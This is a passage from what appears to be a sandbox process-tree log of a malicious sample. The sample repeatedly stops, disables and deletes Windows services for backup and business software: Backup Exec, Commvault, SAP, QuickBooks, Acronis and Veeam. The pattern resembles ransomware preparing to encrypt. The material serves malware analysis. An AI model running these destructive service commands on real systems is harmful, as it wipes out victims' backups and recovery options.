    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:5916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:3388
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:1020
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:1636
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:5588
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:5604
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:1180
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:3528
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:1920
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:3120
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:2416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:324
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:1464
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:2732
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:2052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:5760
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:4900
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    - Launches sc.exe
    PID:5788
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:5308
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:5520
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:4616
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:2672
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4792
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:1448
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:1532
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:4764
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5840
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:1600
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:5580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:1216
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    PID:620
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    PID:2232
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3752
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:4652
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:3336
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    PID:5736
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    PID:6040
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1492
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:1940
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:4924
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    PID:5900
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    PID:3964
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:3480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:2060
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    - Launches sc.exe
    PID:3956
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:580
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:2752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:4808
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:3832
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:6004
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:3016
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:1408
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:2820
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:6024
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:3288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:3440
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    PID:2956
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:4696
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:2516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:3052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    - Launches sc.exe
    PID:4964
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    - Launches sc.exe
    PID:1096
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:4884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:1916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    PID:3600
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    - Launches sc.exe
    PID:5860
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:4792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:5616
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:2360
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    - Launches sc.exe
    PID:4340
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:4320
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:4772
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:1160
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:2500
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:4284
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:4364
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:2796
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:5468
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:1692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:4692
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    PID:308
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:4452
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:3896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:2836
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    - Launches sc.exe
    PID:5896
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:2832
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:5220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:5484
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    PID:5448
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:2320
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:2616
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:2892
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    - Launches sc.exe
    PID:4620
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    - Launches sc.exe
    PID:1564
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:2564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:2780
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    PID:4580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:4628
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:5976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:1340
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    - Launches sc.exe
    PID:4144
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:6020
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:5888
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:5840
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    - Launches sc.exe
    PID:3800
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    - Launches sc.exe
    PID:3816
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:2992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:2860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    PID:2096
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:3608
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:1592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:4904
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    - Launches sc.exe
    PID:1708
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    - Launches sc.exe
    PID:5940
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:5064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:2488
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    PID:5068
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:4648
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:5836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:2020
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    PID:2916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:3136
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:3164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:3692
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    PID:3552
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:2412
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:4908
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:2460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    PID:4680
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    PID:4304
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:5324
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    PID:4568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    - Launches sc.exe
    PID:3140
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:6100
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:4940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    PID:2548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    PID:2468
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:1876
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:4104
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    PID:1936
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:764
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:2196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:1648
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    PID:5732
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    - Launches sc.exe
    PID:3020
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:472
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:5852
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    PID:2948
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    - Launches sc.exe
    PID:4460
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:4308
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:3368
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    PID:256
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:2872
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:5148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:1312
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    - Launches sc.exe
    PID:5384
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:876
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:4132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:4828
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    PID:5092
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    - Launches sc.exe
    PID:4456
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:1104
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:5748
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    PID:4300
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:6044
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:1584
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:788
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    PID:1364
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:5784
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:5340
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:2068
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    - Launches sc.exe
    PID:5388
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:3924
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:3536
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:4548
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:4148
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    - Launches sc.exe
    PID:3880
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:5052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:3504
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:1208
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    - Launches sc.exe
    PID:4124
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:2272
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:3916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:3332
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    PID:1620
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:392
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:4348
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:1164
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    PID:2428
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:5872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:4872
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:696
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    - Launches sc.exe
    PID:2132
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:4600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:1860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:2980
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    PID:4480
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:3640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:2880
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:3448
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:244
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:3160
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:3464
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:4604
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:4160
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:3712
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:5020
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:3352
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:936
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:832
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:1072
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    - Launches sc.exe
    PID:2508
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    PID:956
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:6084
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:3372
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    PID:2788
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:4220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:2036
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:920
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    PID:120
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:4416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:3144
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:4120
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    - Launches sc.exe
    PID:4824
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:4244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:4960
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:3472
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    - Launches sc.exe
    PID:4360
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:1428
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:1400
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    PID:4544
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:3108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:4984
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    - Launches sc.exe
    PID:1632
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:3132
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:5868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:1808
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    PID:1884
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:4136
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:1548
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:3804
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    - Launches sc.exe
    PID:2932
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:2144
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:5592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:2104
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    - Launches sc.exe
    PID:464
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:2000
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:2816
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:260
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    - Launches sc.exe
    PID:5504
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:336
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:960
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:2652
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    - Launches sc.exe
    PID:408
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    - Launches sc.exe
    PID:1660
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:4576
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:3112
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    PID:4376
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    - Launches sc.exe
    PID:3096
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:4336
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:3176
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    - Launches sc.exe
